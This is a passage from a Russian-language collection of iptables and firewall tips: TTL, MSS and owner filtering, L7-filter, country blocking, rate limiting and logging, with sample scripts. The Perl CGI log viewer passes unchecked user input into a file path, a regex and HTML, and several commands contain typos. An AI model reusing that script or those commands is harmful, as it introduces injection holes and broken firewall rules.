       iptables -A INPUT -p tcp --syn --dport 22 -m ttl --ttl-eq 55 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN на порт 22 с временем жизни 55 разрешить.
    
    Иногда бывает маршрут по которому проходящий пакет незначительно изменяется (к
    примеру, провайдер пускает трафик по разным канал в целях балансировки),
    следовательно и количество маршрутизаторов, по которым идёт пакет, тоже
    меняется, тогда на всякий случай добавим к правилу ttl +2 и ttl -2
    
    Правило будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --dport 22 -m ttl --ttl-gt 52 -m ttl --ttl-lt 58 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN на порт 22 с временем жизни больше 52 и меньше 58
    (match TTL > 52 TTL match TTL < 58) разрешить
    
    
    2) Второй вариант является продолжением первого, основное отличие в
    установлении на клиентской стороне нестандартного значения ttl, по которому на
    сервере будем фильтровать пакеты.
    
    Например ttl=80:
    
       echo "80" > /proc/sys/net/ipv4/ip_default_ttl
    
    При количестве маршрутизаторов 12, составим правило с запасом которое будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --dport 22 -m ttl --ttl-gt 65 -m ttl --ttl-lt 70 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN на порт 22 с временем жизни больше 65 и меньше 70
    (match TTL > 65 TTL match TTL < 70) разрешить
    
    
    3. Фильтрация на основе mss (максимальный размер сегмента)
    
    Размер mss рассчитывается по формуле: mtu минус 40 байт
    mtu по умолчанию обычно равно 1500 байтам, итого значение mss по умолчанию равно 1460 байт
    Посмотреть mtu можно командой ifconfig
    
    При фильтрации по mss на сервере, на клиентской стороне потребуется лишь
    изменить mtu сетевого интерфейса (желательно немного уменьшить).
    
    Реализуем идею на практике:
    На клиентской стороне ставим mtu=1440
    
       ifconfig eth0 mtu 1440
    
    На сервере правило будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --dport 22 -m tcpmss --mss 1400 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN на порт 22 с размером mss=1400 разрешить
    
    4. Защита от установки пользователям сервера исходящих соединений во внешний мир.
    
    Например заблокируем возможность соединения пользователю с правами которого работает web сервер
    
       iptables -A INPUT -p tcp --syn --dport 80 -j ACCEPT
       iptables -A OUTPUT -p tcp -m owner --uid-owner 33 -m state --state NEW -j DROP
    
    В первой цепочки разрешаем входящие соединения на 80 порт по протоколу tcp, во
    второй запрещаем устанавливать новые исходящие соединения пользователю (uid 33)
    с правами которого работает web сервер.
    
     
    ----* Использование L7-filter в Linux (доп. ссылка 1)   Автор: Сергей Яремчук  [комментарии]
     
    Проект l7-filter (http://l7-filter.sf.net) дает возможность Netfilter
    идентифицировать пакет на прикладном уровне данных, основываясь на его
    содержимом, и классифицировать пакеты по их назначению, без привязки к номеру
    порта. В настоящее время поддерживаются протоколы HTTP и FTP; P2P сети (Kazaa,
    BitTorrent, eDonkey2000, FastTrack); IM-системы (AIM/Jabber/IRC/MSN);
    VoIP/Skype; VPN; игры (Battlefield, CS, Doom3, WoW); файлы (exe, mp3) и даже
    сетевые черви - Code Red и Nimda.
    
    Проект предлагает две версии L7-filter:
    
    * Kernel version - развивается уже давно и хорошо протестирована, немного
    сложна в установке, не очень дружит с SMP-процессорами и позволяет использовать
    только самые простые регулярные выражения;
    
    * Userspace version - находится в ранней стадии развития, и, возможно, в
    будущем будет поддерживаться только эта версия, обладает большими возможностями
    по фильтрации, так как поддерживает весь спектр команд GNU grep. Несмотря на
    то, что userspace стабилен в работе, этот вариант не рекомендуют использовать
    на критических системах и для блокировки трафика.
    
    В дальнейшем рассмотрим установку kernel варианта l7-filter, который затем
    дополним IPP2P. Данный способ потребует пересборки ядра.
    Для успешного проведения сборки в твоей системе должны быть установлены пакеты
    build-essential, iptables, iptables-dev и linux-source. Берем настройки
    текущего ядра, которые будем использовать как базовые, и копируем текущую
    конфигурацию в /usr/src/linux:
    
       sudo cp /boot/config-`uname -r` /usr/src/linux/.config
    
    Получаем архив с патчами для ядра с сайта L7-filter, распаковываем его и
    переходим в каталог с сырцами ядра:
    
       tar xzvf netfilter-layer7-v2.21.tar.gz
       $ cd /usr/src/linux
    
    В архиве несколько патчей для разных версий ядер и iptables, нужно выбрать вариант для своего ядра:
    
       $ sudo patch -p1 < ../netfilter-layer7-v2.21/for_older_kernels/kernel-2.6.22-2.6.24-layer7-2.18.patch
    
    Теперь аналогично патчим iptables, выбрав также свою версию:
    
       $ cd ../iptables
       $ iptables -v
       iptables v1.3.8
       $ sudo patch -p1 < ../netfilter-layer7-v2.21/iptables-1.3-for-kernel-2.6.20forward-layer7-2.21.patch
       $ sudo chmod +x extensions/.layer7-test
    
    Собираем iptables:
    
       $ make KERNEL_DIR=/usr/src/linux
       $ sudo make install
    
    Конфигурируем и компилируем ядро:
    
       $ sudo make menuconfig
    
    Переходим в "Networking - Networking option - Network packet filtering
    framework(Netfilter) - Core Netfilter Configuration", где активируем
    "Connection tracking flow accounting" и "Layer 7 match support".
    
    Cтавим фильтры протоколов, фактически они просто копируются в каталог /etc/l7-protocols:
    
       $ tar xzvf l7-protocols-2009-05-28.tar.gz
       $ cd l7-protocols-2009-05-28/
       $ sudo make install
    
    После перезагрузки можно проверить работу фильтра. Команда "iptables -m layer7
    --help" выдаст список параметров. Например, чтобы заблокировать BitTorrent, AIM
    и Skype, пишем:
    
       iptables -A FORWARD -m layer7 --l7proto bittorrent -j DROP
       iptables -A FORWARD -m layer7 --l7proto aim -j DROP
       iptables -A FORWARD -m layer7 --l7proto skypetoskype -j DROP
       iptables -A FORWARD -m layer7 --l7proto skypeout -j DROP
    
    То есть ищем в списке название протокола и производим нужное действие.
    
     
    ----* Корректировка вывода arptables-save в Debian Lenny   Автор: аноним  [комментарии]
     
    Суть проблемы: в Debian Lenny arptables-save генерирует данные, синтаксически и
    семантически некорректные
    с точки зрения arptables-restore.
    
    Например, если в чистую таблицу filter добавить правило
    
       # arptables -A INPUT -s 10.128.0.100 -j DROP
    
    а затем вызвать arptables-save, получим
    
       # arptables-save
    
       *filter
       :INPUT ACCEPT
       :OUTPUT ACCEPT
       :FORWARD ACCEPT
       -A INPUT -j DROP -i any -o any -s 10.128.0.100
    
    Попытавшись скормить это arptables-restore, увидим
    
       arptables v0.0.3.3: Can't use -o with INPUT
    
       Try 'arptables -h' or 'arptables --help' for more information.
    ERROR(line 5):
    
    Но даже удаление -o any не сильно исправит дело. Потому что останется -i any. С
    точки зрения arptables-restore,
    да и arptables, any ни разу не ключевое слово, а просто имя интерфейса. 
    Почему arptables-save считает иначе - непонятно.
    
    Подводя итог: вывод arptables-save нужно фильтровать примерно таким образом:
    
       # arptables-save | sed -e 's/\(-[io]\) any *//g'
       *filter
       :INPUT ACCEPT
       :OUTPUT ACCEPT
       :FORWARD ACCEPT
       -A INPUT -j DROP -s 10.128.0.100
    
     
    ----* Ограничение возможностей ssh туннеля при помощи iptables   Автор: Avatar  [комментарии]
     
    Использование туннелей на основе ssh сейчас широко распространено. И многие используют его как 
    универсальное решение для организации туннелей внутрь локальной сети для
    доступа к различным сервисам.
    И в связи с этим очень часто возникает вопрос "А как ограничить возможности такого туннеля".
    
    Например: 
    есть компания, которая обслуживает ваш web сервер. Для выполнения этой работы требуется доступ 
    к серверу web-server.dmz по портам 80 и 443.
    
    Решение: 
    на сервере ssh, через который создаётся туннель, выполняем: 
    
    1) добавляем пользователя aaa
    
    2) устанавливаем ему шелл /bin/false (или другой, только так чтобы он не мог залогиниться)
    
    3) Добавляем правила iptables:
    
       iptables -A OUTPUT -d web-server.dmz -p tcp -m tcp --dport 80 -m owner --uid-owner aaa -j ACCEPT
       iptables -A OUTPUT -d web-server.dmz -p tcp -m tcp --dport 443 -m owner --uid-owner aaa -j ACCEPT
       iptables -A OUTPUT -m owner --uid-owner aaa -j REJECT
    
     
    ----* Скрипт для блокировки в iptables целых стран (доп. ссылка 1)   Автор: Vivek Gite  [комментарии]
     
    Скрипт для организации блокировки диапазонов IP адресов в привязке к названию страны.
    Например, можно использовать для блокирования всех непрофильных сайту стран в моменты DDoS атаки
    или запретить приход почты для стран с которыми явно не ведется переписка.
    
    Список привязки IP к странам загружается с сайта http://www.ipdeny.com/ipblocks/data/countries
    
    
       #!/bin/bash
       ### Block all traffic from AFGHANISTAN (af) and CHINA (CN). Use ISO code ###
       ISO="af cn" 
     
       ### Set PATH ###
       IPT=/sbin/iptables
       WGET=/usr/bin/wget
       EGREP=/bin/egrep
     
       ### No editing below ###
       SPAMLIST="countrydrop"
       ZONEROOT="/root/iptables"
       DLROOT="http://www.ipdeny.com/ipblocks/data/countries"
     
       cleanOldRules(){
       $IPT -F
       $IPT -X
       $IPT -t nat -F
       $IPT -t nat -X
       $IPT -t mangle -F
       $IPT -t mangle -X
       $IPT -P INPUT ACCEPT
       $IPT -P OUTPUT ACCEPT
       $IPT -P FORWARD ACCEPT
       }
     
       # create a dir
       [ ! -d $ZONEROOT ] && /bin/mkdir -p $ZONEROOT
     
       # clean old rules
       cleanOldRules
     
       # create a new iptables list
       $IPT -N $SPAMLIST
     
       for c  in $ISO
       do
    	# local zone file
    	tDB=$ZONEROOT/$c.zone
     
    	# get fresh zone file
    	$WGET -O $tDB $DLROOT/$c.zone
     
    	# country specific log message
    	SPAMDROPMSG="$c Country Drop"
     
    	# get
    	BADIPS=$(egrep -v "^#|^$" $tDB)
    	for ipblock in $BADIPS
    	do
    	   $IPT -A $SPAMLIST -s $ipblock -j LOG --log-prefix "$SPAMDROPMSG"
    	   $IPT -A $SPAMLIST -s $ipblock -j DROP
    	done
       done
     
       # Drop everything
       $IPT -I INPUT -j $SPAMLIST
       $IPT -I OUTPUT -j $SPAMLIST
       $IPT -I FORWARD -j $SPAMLIST
     
       # call your other iptable script
       # /path/to/other/iptables.sh
     
       exit 0
    
    
    Вместо последовательного добавления правил, для увеличения производительности, 
    рекомендуется использовать систему ipset (http://ipset.netfilter.org/) или
    nfqueue (http://nfqueue.sf.net/)
    
    
    Использовать можно примерно так:
    
        #!/bin/sh
        iptables -F INPUT
    
        ipset -N spam ipmap 
    
        cat block_country_net_list.txt | while read net; do
           ipset -A spam --network $net
        done
    
        iptables -A INPUT -m set --set spam src -j REJECT
    
    
    Другой эффективный вариант - использовать iptables модуль geoip (http://people.netfilter.org/peejix/geoip/),
    который не входит в базовую поставку iptables и требует установки patch-o-matic и 
    загрузки дополнительной базы привязки к странам, например с http://www.maxmind.com/
    
    Например, блокировка ICMP запросов из Франции, Италии и Испании будет выглядеть так:
    
       iptables -A OUTPUT -p icmp -m geoip --dst-cc FR,IT,ES -j REJECT
    
     
    ----* Поддержка TARPIT для RHEL 5/CentOS 5   Автор: Андрей  [комментарии]
     
    Для RHEL 5 / CentOS 5 исходники модуля TARPIT  можно загрузить здесь:
       http://enterprise.bih.harvard.edu/pub/tarpit-updates/old-patch-o-matic
    
    TARPIT позволяет организовать коннект в пустоту (соединение не закрывается, но
    ничего не происходит).
    
    Я скачал 2.6.19 версию, собирается без проблем при наличии пакета kernel-devel и простого makefile:
    
       obj-m += ipt_TARPIT.o
       KDIR := /lib/modules/$(shell uname -r)/build
       PWD := $(shell pwd)
       all:
            make -C $(KDIR) M=$(PWD) modules
       clean:
            make -C $(KDIR) M=$(PWD) clean
    
    Чтобы при обновлении ядра модуль автоматом подхватывался, нужно зарегистрировать модуль через
    
       /sbin/weak-modules
    
    Пример использования:
    
       iptables -A INPUT -p tcp -m tcp -dport 80 -j TARPIT
    
     
    ----* Удаление iptables правил по их номерам   [комментарии]
     
    Для отображения порядковых номеров iptables правил в списке необходимо
    использовать опцию --line-numbers.
    Например, просмотрим содержимое таблицы трансляции и правила, влияющие на
    пересылку пакетов между интерфейсами:
    
       iptables -L POSTROUTING -t nat -n -v --line-numbers
       iptables -L FORWARD -n -v --line-numbers
    
    Удалим несколько записей по номеру:
    
       iptables -D FORWARD 55
       iptables -t nat -D POSTROUTING 15
    
    Цепочку следует явно указывать, так как номера уникальны только в рамках каждой цепочки.
    Удалять следует внимательно и по одному элементу, так как после удаления
    следующие номера сдвигаются!
    Т.е., если вы хотели удалить в списке строки 15 и 25, удалять нужно, начиная с большего номера,
    иначе 25 запись после удаления 15 сменит номер на 24.
    
     
    ----* Обход блокировки BitTorrent трафика, через отправку фиктивных RST пакетов (доп. ссылка 1)   Автор: tuxtraining.com  [комментарии]
     
    Некоторые сетевые операторы, например Comcast, используют ПО Sandvine для
    нарушения работы BitTorrent.
    
    Принцип действия Sandvine в отправке клиенту поддельных RST пакетов, приводящих
    к прерыванию соединения.
    Простейший способ борьбы с подобной практикой блокирования - запретить прием пакетов с RST флагом:
    
       iptables -A INPUT -p tcp --dport 6883 --tcp-flags RST RST -j DROP
    
    где, 6883 - номер BitTorrent порта.
    
    Пример скрипта, оставляющего возможность входящих соединений только для BitTorrent:
    
    #!/bin/sh
    # Номер порта BitTorrent
    BT_PORT=6883
    # Сброс настроек iptables
    iptables -F
    # Разрешаем трафик на loopback интерфейсе
    iptables -A INPUT -i lo -j ACCEPT
    
    # Молча отбрасываем RST пакеты
    iptables -A INPUT -p tcp --dport $BT_PORT --tcp-flags RST RST -j DROP
    # Пропускаем уже установленные входящие соединения
    iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    # Разрешаем прием соединений для BitTorrent
    iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport $BT_PORT -j ACCEPT
    iptables -A INPUT -m state --state NEW -m udp -p udp --dport $BT_PORT -j ACCEPT
    # Все остальные входящие соединения блокируем
    iptables -A INPUT -j REJECT --reject-with icmp-host-prohibited
    
     
    ----* Как заблокировать через iptables пакеты отправленные из определенной ОС (доп. ссылка 1)   Автор: Evgeniy Polyakov  [комментарии]
     
    Модуль ost был написан для использования в iptables правилах результатов пассивного определения 
    типа операционной системы, из которой был отправлен TCP SYN пакет.
    
    Загружаем исходные тексты модуля со страницы
    http://www.ioremap.net/archive/osf/ или ставим из patch-o-matic:
    
    В Makefile через переменную IPTABLES указываем путь к заголовочным файлам
    iptables (xtables.h и /lib/iptables или /lib/xtables в Debian).
    
    Собираем модуль xt_osf.ko: 
       make 
    
    Собираем библиотеку libipt_osf.so, после чего копируем ее в /lib/iptables или /lib64/iptables:
       make lib
    
    Собираем утилиты  для загрузки сигнатур ОС и ведения лога (load, osfd, ucon_osf):
       make bin
    
    Загружаем список сигнатур:
       wget http://www.openbsd.org/cgi-bin/cvsweb/src/etc/pf.os
    
    Загружаем модуль ядра:
       insmod ./xt_osf.ko
    
    Загружаем сигнатуры:
       ./load ./pf.os /proc/sys/net/ipv4/osf
    
    Пример правила для занесения всех пересылок с участием Linux лог:
       iptables -I INPUT -j ACCEPT -p tcp -m osf --genre Linux --log 0 --ttl 2
    
    Для блокирования внешних пакетов от Windows машин:
       iptables -j DROP -i INPUT -p tcp -m osg --genre Windows --ttl 2
    
    При отправке с Windows в логе появится:
       ipt_osf: Windows [2000:SP3:Windows XP Pro SP1, 2000 SP3]: 11.22.33.55:4024 -> 11.22.33.44:139
    
    Опции:
    --log - если в качестве аргумента передан 0, то помещать в лог все совпадения и
    неизвестные срабатывания,
    если 1, помещать только первое совпадение, 2 - только совпадения;
    
    --ttl - если 0, проверять только для пакетов внутри локальной сети, 1 - для
    внешней сети, 2 - не учитывать TTL.
    
     
    ----* Как увеличить размер таблицы контроля сессий ip_conntrack в Linux   [комментарии]
     
    Если ядро ругается "kernel: ip_conntrack: table full, dropping packet.", причину флуда 
    (скорее всего вирус или сканирование портов) можно найти по списку /proc/net/ip_conntrack
    Если просто общая загрузка большая, увеличить размер таблицы можно через /proc/sys/net/ipv4/ip_conntrack_max
    
    Также можно увеличить размерность хэша через параметр  hashsize модуля ip_conntrack:
    /etc/modules.conf:
       options ip_conntrack hashsize=N
    
    Более тонкий тюнинг можно произвести через переменные определенные в /proc/sys/net/ipv4/netfilter
    
     
    ----* Как вести лог блокировок в iptables и ipfw   [комментарии]
     
    Linux:
    
    - Перед правилом блокировки нужно вставить "log" правило:
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 \
          -j LOG --log-level debug --log-prefix "outgoing mail" 
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 -j DROP
    
    - Проверить запущены ли в системе klogd и syslogd.
    
    - Настроить /etc/syslog.conf на прием kern.debug логов:
       kern.=debug   -/var/log/kernel/info
    
    FreeBSD:
    Добавить ключ log в ipfw, например:
       ipfw add 1000 deny log tcp from any to 192.168.10.10 22 via fxp0
       ipfw add 1000 deny log logamount 0 tcp from any to 192.168.10.10 80 via fxp0
    
    Для ведения логов ядро должно быть собрано с IPFIREWALL_VERBOSE или нужно
    выставить "sysctl -w net.inet.ip.fw.verbose=1".
    
    Далее проверить чтобы в /etc/syslog.conf было упоминание LOG_SECURITY:
       security.*      /var/log/security
    
    Через параметр logamount передается число записей которые будет записано в лог, 
    после превышения записи перестанут появляться в логе, до тех пор пока не будет вызвана команда 
    "ipfw resetlog". Максимальное число сообщений можно также установить 
    через sysctl net.inet.ip.fw.verbose_limit. 
    Для отмены лимитирования на число записей, нужно установить атрибут в 0.
    
     
    ----* Статистика сетевых соединений через syslog и iptables   Автор: umask  [комментарии]
     
    Часто недовольные пользователи приходят и просят дать им распечатку логов доступа в интернет. 
    Отчасти это позволяет сделать squid, но только при прозрачном проксировании, да
    и то логи только по http-протоколу.
    
    На помощь приходит iptables и syslog.
    
    Настраиваем в syslog.conf добавление сообщений от ядра уровня debug (или
    уровня, который вам удобнее)
     в отдельный файл. Лучше всего хранить эти логи на отдельном разделе (их размер огромен! 
    но проблему решает gzip - сжимает логи более чем в 10 раз).
    
    В моём syslog.conf была добавлена строка:
          kern.=debug                                 -/var/log/access/access
    
    Желательно, что бы в уровень debug сообщений от ядра не поступало никакой другой информации, 
    кроме информации от iptables. У меня так и получилось по умолчанию с уровнем debug.
    
    В rc.firewall было добавлено в самое начало:
    
       #LOG ALL (!!!). Beware!!!
       #FORWARD
       iptables -A FORWARD -m state --state NEW -j LOG  --log-level debug \
          --log-prefix  'FRWLL_FWD_NEW ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state ESTABLISHED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_ESTBLSHD ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state RELATED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_RLTD ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state INVALID -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_INVLD ' # --log-tcp-options --log-ip-options
       #INPUT
       iptables -A INPUT -m state --state NEW -j LOG  --log-level debug \
          --log-prefix 'FRWLL_INPT_NEW ' # --log-tcp-options --log-ip-options
       #iptables -A INPUT -m state --state ESTABLISHED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_INPT_ESTBLSHD ' # --log-tcp-options --log-ip-options
       #iptables -A INPUT -m state --state RELATED -j LOG  --log-level debug \
       #  --log-prefix 'FRWLL_INPT_RLTD ' # --log-tcp-options --log-ip-options
       iptables -A INPUT -m state --state INVALID -j LOG  --log-level debug \
          --log-prefix 'FRWLL_INPT_INVLD ' # --log-tcp-options --log-ip-options
    
    
    Если раскомментировать все строки, то получиться лог с полной статистикой
    доступа - он будет очень большим.
    Поэтому в данном примере имеем лог только по установкам соединений и ошибочным
    соединениям в цепочках INPUT и FORWARD.
    
    Итак. В logrotate я добавил (/etc/logrotate.d/access):
    
       /var/log/access/access {
           sharedscripts
           compress
           rotate 45
           daily
           postrotate
               /bin/killall -HUP syslogd
           endscript
       }
    
    Сжимаем логи каждый день. Храним статистику за последние 45 суток.
    Компрессия логов в моём случае дала значительный прирост производительности, поскольку шлюз 
    достаточно мощный и скорость парсинга логов упиралась только в чтение с HDD.
    
    В итоге был написан простой скрипт на perl, выдающий статистику в более-менее удобоваримой форме.
    
    Вот и сам скрипт:
    -------------------------
    
       #!/usr/bin/perl
    
       use CGI qw(:standard);
       use PerlIO::gzip;
       use Switch;
    
       ##Redefine before start:
       my $LOG_DIR="/var/log/access/";
       my $LOG_FILENAME="access";
       ##end
    
       my $IP, $FLAG;
    
       ## Params delimeter in request: "-"
       ($IP, $FLAG) = split(/-/, $ARGV[0]);
    
       ## if undefine IP or file log FLAG-number or FLAG is empty - parser exit:
       if(!defined($IP)||!defined($FLAG)||$FLAG==""){
         print header; print start_html; 
         print   "Valid parameters required!"; print end_html; exit(1);
       }
    
       print header;
       print start_html("Stat for: $IP");
       print "<h2>Stat for: $IP</h2><br/>", "\n<pre>";
    
       switch($FLAG)
       {
           case "0"
           {
               open($FD, "<$LOG_DIR$LOG_FILENAME")
                or die "Cannot open current (0) log-file!<br> File does not exist or access not permitted!<br>";
               while(<$FD>)
               {
                    chomp;
                    s/gw kernel://g;
                    if(grep(/$IP/, $_))
                    {
                        print $_, "<br>\n";
                    }
               }
               close($FD);
           }
           else 
           {
               open($GZIP, "<:gzip(lazy)", "$LOG_DIR$LOG_FILENAME.$FLAG.gz")
                or die "Cannot open old (", $FLAG, ") log-file!<br> File does not exist or access not permitted!<br>";
               while(<$GZIP>)
               {
                    chomp;
                    s/gw kernel://g;
                    if(grep(/$IP/, $_))
                    {
                        print $_, "<br>\n";
                    }
               }
               close($GZIP);
           }
       }
       print "</pre>\n";
       print "<br><br>Access stat parser by \"umask at yandex dot ru\"<br>";
       print end_html;
    -------------------------
    
    Для работы скрипта необходимо установить модуль PerlIO-gzip. Найти ссылку на
    модуль можно на cpan.org.
    
    Доступ к статистике можно получить через браузер (скрипт рассчитан для работы как CGI):
       hostname.ru/cgi-bin/parse.pl?192.168.1.1-0
    
    Аргумент понимаеться так:
    192.168.1.1 - искомая подстрока.
    0 - норме лог файла. В данном случае текущий (в который пока ещё записываются сообщения syslog).
    1 - вчерашний,
    2 - позавчерашний,
    3 - 3 дня назад.
    .....
    и т.д.
    
    Для меня данное решение оказалось удобным.
    
     
    ----* Скрипт для автоматизации настройки iptables фильтра для локальной сети (доп. ссылка 1)   Автор: Константин Брызгалов  [комментарии]
     
    На разных машинах в моей локальной сети накопилась куча программ,
    которым нужен был выход в интернет напрямую. У каждой свой набор портов.
    Захотелось на входе иметь минимальную конфигурацию, описывающую
    ресурсы, а на выходе набор разрешающих  правил для iptables.
    В основном были клиент-банки - поэтому и такая терминология в программе.
    А так вместо банка можно указывать любой ресурс в формате определенном в
    man iptables.
    
    Ограничения, недостатки:
    
    1. использование количества портов для одного ресурса менее 16
    2. нельзя указать диапазон портов через двоеточие как в iptables
    Оба легко устаняются: первое - есть пример в самом скрипте, 
    второе через использование другого разделителя для записей на входе, 
    проверку наличия ":" - использование другого формата вызова iptables. Мне это
    не нужно и код не хотел раздувать.
    
    
    #!/bin/bash
    #bkv 2005.10
    #Дано: 
    #  Два списка:
    #  Первый список из записей вида - банк:порты(через запятую)
    #  Второй список из записей вида - клиент:банки(через запятую)
    #Найти: 
    #  Набор разрешающих правил iptables для forward
    #Примечания:
    #  политика FORWARD по умолчанию - "запрещено все, что не разрешенно"
    #  iptables поддерживает одновременное указание не более 15 портов
    #Решение: 
    #  Создадим отдельную цепочку, например, - CLIENTBANK
    #  Сгенерируем необходимые правила и поместим их в цепочку CLIENTBANK
    #  Обращения по всем портам из первого списка направим на обработку в CLIENTBANK
    #  Перед выполнением все правила связаные с цепочкой CLIENTBANK удалим, чтобы не плодить 
    #    правила от многократного запуска
    
    itls="/sbin/iptables"
    
    #Подаем список на обработку awk
    #признак первого списка - первое поле BankPorts
    #признак второго списка - первое поле ClientBanks
    echo -e "\
    BankPorts:smtp.mail.ru:25\n\
    BankPorts:10.24.70.0/26:22,23\n\
    BankPorts:pop.mail.ru:110\n\
    BankPorts:bank4.ru:9999,888\n\
    BankPorts:bank5.ru:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15\n\
    BankPorts:bank6.ru:21,22,23,24,25,26,27,28,29,210,211,212,213,214,215\n\
    ClientBanks:192.168.9.0/16:smtp.mail.ru,pop.mail.ru,10.24.70.0/26\n\
    ClientBanks:192.168.9.8:bank4.ru,bank5.ru,bank6.ru\n\
    ClientBanks:192.168.9.6:bank6.ru,bank4.ru\n\
    "|\
    awk -v itls=$itls -F: '{
      if($0~/^BankPorts/) BankPorts[$2]=$3 #создаем ассоциативный массив - индекс:банк, значение:порты через запятую
      if($0~/^ClientBanks/) ClientBanks[$2]=$3 #аналогично клиент -> банки
    }END{
    #Cгенерируем _необходимые_ правила для цепочки CLIENTBANK
    for (client in ClientBanks){
      split(ClientBanks[client],bank_arr,",") #поместили в массив bank_arr адреса банков для клиента
      for(i in bank_arr){
          all_ports=all_ports","BankPorts[bank_arr[i]] #создаем список всех портов для дальнейшего использования
          count_ports=split(BankPorts[bank_arr[i]],tmp_arr,",")
          if(count_ports > 15)
            print "echo Слишком много портов для "bank_arr[i]".Допиши программу.Выход&&exit 1"
           else
            printf("%s -A CLIENTBANK -s %s -d %s -p tcp -m multiport --dports %s -j ACCEPT\n",itls,client,bank_arr[i],BankPorts[bank_arr[i]])
          }
    }
    
    #Создадим правила перенаправляющие из FORWARD на обработку в CLIENTBANK, помня
    про ограничение в 15 портов
    sub(",","",all_ports) #отрезаем первую запятую у списка всех использующихся портов
    split(all_ports,all_ports_arr,",")#поместили в массив all_ports_arr все порты какие есть
    j=1;i=1
    while(all_ports_arr[i]){
      while(i<=(j*15)){
        if (all_ports_arr[i]) 
          tmp_all_ports=tmp_all_ports","all_ports_arr[i]
        i++
        }
      sub(",","",tmp_all_ports) #отрезаем первую запятую
      printf("%s -I FORWARD -p tcp -m multiport --ports %s -j CLIENTBANK\n",itls,tmp_all_ports)
      tmp_all_ports=""
      j++
      }
    
    print itls" -A CLIENTBANK  -p tcp -m state --state ESTABLISHED -j ACCEPT"
    print itls" -N CLIENTBANK"
    print itls" -X CLIENTBANK"
    print itls" -F CLIENTBANK"
    
    #Удаляем из FORWARD все цепочки содержащие цель CLIENTBANK
    del_rules_nums="'`$itls --line-numbers -L FORWARD -n|grep CLIENTBANK|cut -f1 -d" "|tr "\n" ","`'"
    split(del_rules_nums,del_rules_arr,",")
    cnt_rules=1
    while(del_rules_arr[cnt_rules]){
      printf("%s -D FORWARD %s\n",itls,del_rules_arr[cnt_rules])
      cnt_rules++
      }
    
    }'|tac > gen.itls.sh
    chmod 700 gen.itls.sh
    echo "Команды сгенерированы в файл ./gen.itls.sh .Выход."
    exit
    ./gen.itls.sh
    rm ./gen.itls.sh
    
     
    ----* Лимитирование числа запросов в единицу времени через iptables (доп. ссылка 1)   Автор: Steve  [комментарии]
     
    Разрешаем производить только 4 коннекта к 22 порту в течении 60 секунд:
    
       iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
    
       iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent \
          --update --seconds 60 --hitcount 4 -j DROP
    
     
    ----* Ограничение трафика через iptables (доп. ссылка 1)   Автор: Николай Малых  [комментарии]
     
    ipt_limit - общее ограничение по срабатываний правила
         -m limit --limit {avg}/[second|minute|hour|day] --limit-burst {burst}
    
    iplimit - ограничение соединений для одного IP.
        Ограничение коннектов к 80 порту от одного IP:
             iptables -A INPUT -p tcp --syn --dport http -m iplimit --iplimit-above 4 -j REJECT
        Тоже, но для запросов с одной /24 подсети:
             iptables -A INPUT -p tcp --syn --dport http -m iplimit --iplimit-mask 8 --iplimit-above 4 -j REJECT
    
    hashlimit - для каждого IP в хэше хранятся параметры соединений;
        -m hashlimit --hashlimit {avg} --hashlimit-burst {burst} --hashlimit-mode {режим: dstip, dstport, srcip, srcport} \
           --hashlimit-name {name} --hashlimit-htable-max {num} --hashlimit-htable-expire {num} --hashlimit-htable-gcinterval {num}
    
        iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m hashlimit --hashlimit 1/hour \
           --hashlimit-burst 2 --hashlimit-mode srcip --hashlimit-name SSH --hashlimit-htable-expire 360000 -j ACCEPT
    
    tbf (http://www.nmalykh.org/work/tbf.tar.gz) - продолжение развития limit и hashlimit c поддержкой 
    возможности инверсии правил в целом.
    
        iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m tbf ! -- tbf 1/s --tbf-burst 
           --tbf-mode srcip --tbf-name SMTP  -j DROP
    
     
    ----* Примеры возможностей iptables открывающихся после установки POM (patch-o-matic) (доп. ссылка 1)   [комментарии]
     
    Фильтрация по строковой маске:
       iptables -A FORWARD -i eth0 -p tcp --sport 80 \
          -m string --string '|7F|ELF' -j DROP
       iptables -A FORWARD -i eth0 -p tcp \
          ! -s 192.168.0.5 --sport 80 -m string \
          --string '|7F|ELF' -j DROP
    
    Сжатая компоновка номеров портов в одной строке:
       iptables -A INPUT -p tcp -m mport \
          --dports 80,110,21,6000:6003 -j ACCEPT
    
    Учет времени при блокировке:
       iptables -A INPUT -p tcp -d 80 -m time \
          --timestart 04:00 --timestop 06:30 --days Fri \
          --syn -j REJECT
    
    Коннект в пустоту (соединение не закрывается, но ничего не происходит):
       iptables -A INPUT -p tcp -m tcp -dport 80 -j TARPIT
    
    Срабатывание правила с заданной вероятностью (в процентах):
    
       iptables -t nat -A PREROUTING -i eth0 -p tcp \
          --dport 80 --syn -m random --average 33 \
          -j DNAT --to-destination 192.168.0.100:80
       iptables -t nat -A PREROUTING -i eth0 -p tcp \
          --dport 80 --syn -m random --average 50 \
          -j DNAT --to-destination 192.168.0.101:80
       iptables -t nat -A PREROUTING -i eth0 -p tcp \
          --dport 80 --syn -j DNAT \
